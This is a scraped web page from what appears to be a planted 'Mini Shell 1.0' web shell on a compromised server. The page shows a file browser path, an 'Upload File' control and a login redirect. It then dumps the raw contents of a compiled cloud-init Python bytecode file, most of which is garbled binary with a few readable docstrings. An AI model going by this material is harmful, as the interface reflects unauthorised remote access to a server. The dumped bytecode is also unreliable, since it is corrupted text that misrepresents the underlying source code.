HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/render.cpython-311.pyc
�

܍~c���dZddlZddlZddlZddlmZddlmZmZddl	m
Z
mZmZdZ
eje
��Zdd�Zd
d	�Zd
�Zedkr6ejee
e���������dSdS)z,Debug jinja template rendering of user-data.�N)�log)�addLogHandlerCLI�read_cfg_paths)�JinjaLoadError�
NotJinjaError�render_jinja_payload_from_file�renderc���|s tjtt���}|�dt
d���|�ddt
d���|�dd	d
dd�
��|S)aBuild or extend and arg parser for jinja render utility.

    @param parser: Optional existing ArgumentParser instance representing the
        subcommand which will be extended to support the args of this utility.

    @returns: ArgumentParser with proper argument configuration.
    )�prog�description�	user_dataz$Path to the user-data file to render)�type�helpz-iz--instance-datazXOptional path to instance-data.json file. Defaults to /run/cloud-init/instance-data.jsonz-dz--debug�
store_trueFz+Add verbose messages during template render)�action�defaultr)�argparse�ArgumentParser�NAME�__doc__�add_argument�str)�parsers �</usr/lib/python3/dist-packages/cloudinit/cmd/devel/render.py�
get_parserrs����I��(�d��H�H�H��
����#�$J����������
�
2������������
:������M�Fc��tt|rtjntj��|r|}n�t��}t
j��}|�d��}|dkrS|�d��}tj	�
|��st�d||��|}n|}tj	�
|��st�d|��dS	t|��5}|���}ddd��n#1swxYwYn,#t$rt�d|��YdSwxYw	t!||||rd	nd
���}	nG#t"t$f$r3}
t�dt'|
����Yd}
~
dSd}
~
wwxYw|	st�d
|��dSt(j�|	��dS)z�Render the provided user-data template file using instance-data values.

    Also setup CLI log handlers to report to stderr since this is a development
    utility which should be run by a human on the CLI.

    @return 0 on success, 1 on failure.
    �
instance_datar�instance_data_sensitivez4Missing root-readable %s. Using redacted %s instead.z#Missing instance-data.json file: %s�NzMissing user-data file: %sTF)�payload�
payload_fn�instance_data_file�debugz5Cannot render from instance data due to exception: %sz#Unable to render user-data file: %s)r�LOGr�DEBUG�WARNINGr�os�getuid�get_runpath�path�exists�warning�error�open�read�IOErrorrrr�repr�sys�stdout�write)�user_data_path�instance_data_pathr$�instance_data_fn�paths�uid�redacted_data_fn�streamr
�rendered_payload�es           r�render_templater?8sc���S�u�=�#�)�)�#�+�>�>�>��0�-���� � ���i�k�k�� �,�,�_�=�=���!�8�8�$�0�0�1J�K�K���7�>�>�"2�3�3�
4����J�$�$����
$4� ��/��
�7�>�>�*�+�+���	�	�7�9I�J�J�J��q��
�.�
!�
!�	&�V����
�
�I�	&�	&�	&�	&�	&�	&�	&�	&�	&�	&�	&����	&�	&�	&�	&��������	�	�.��?�?�?��q�q������9��%�/��*�$�$�U�	
�
�
����
�M�*�����	�	�C�T�!�W�W�	
�	
�	
��q�q�q�q�q�����	����
���	�	�7��H�H�H��q��J���%�&�&�&��1sN�D=�D1�%D=�1D5�5D=�8D5�9D=�=%E&�%E&�*F�G�(G�Gc�B�t|j|j|j��S�N)r?r
rr$)�_name�argss  r�handle_argsrDns���4�>�4�+=�t�z�J�J�Jr�__main__rA)NF)rrr(r3�	cloudinitr�cloudinit.cmd.develrr�!cloudinit.handlers.jinja_templaterrrr�	getLoggerr%rr?rD�__name__�exit�
parse_args�rr�<module>rNs#��
3�2�����	�	�	�	�
�
�
�
�������@�@�@�@�@�@�@�@��������������c�m�D��������@3
�3
�3
�3
�lK�K�K��z����C�H�[�[��z�z�|�|�6�6�8�8�
9�
9�:�:�:�:�:��r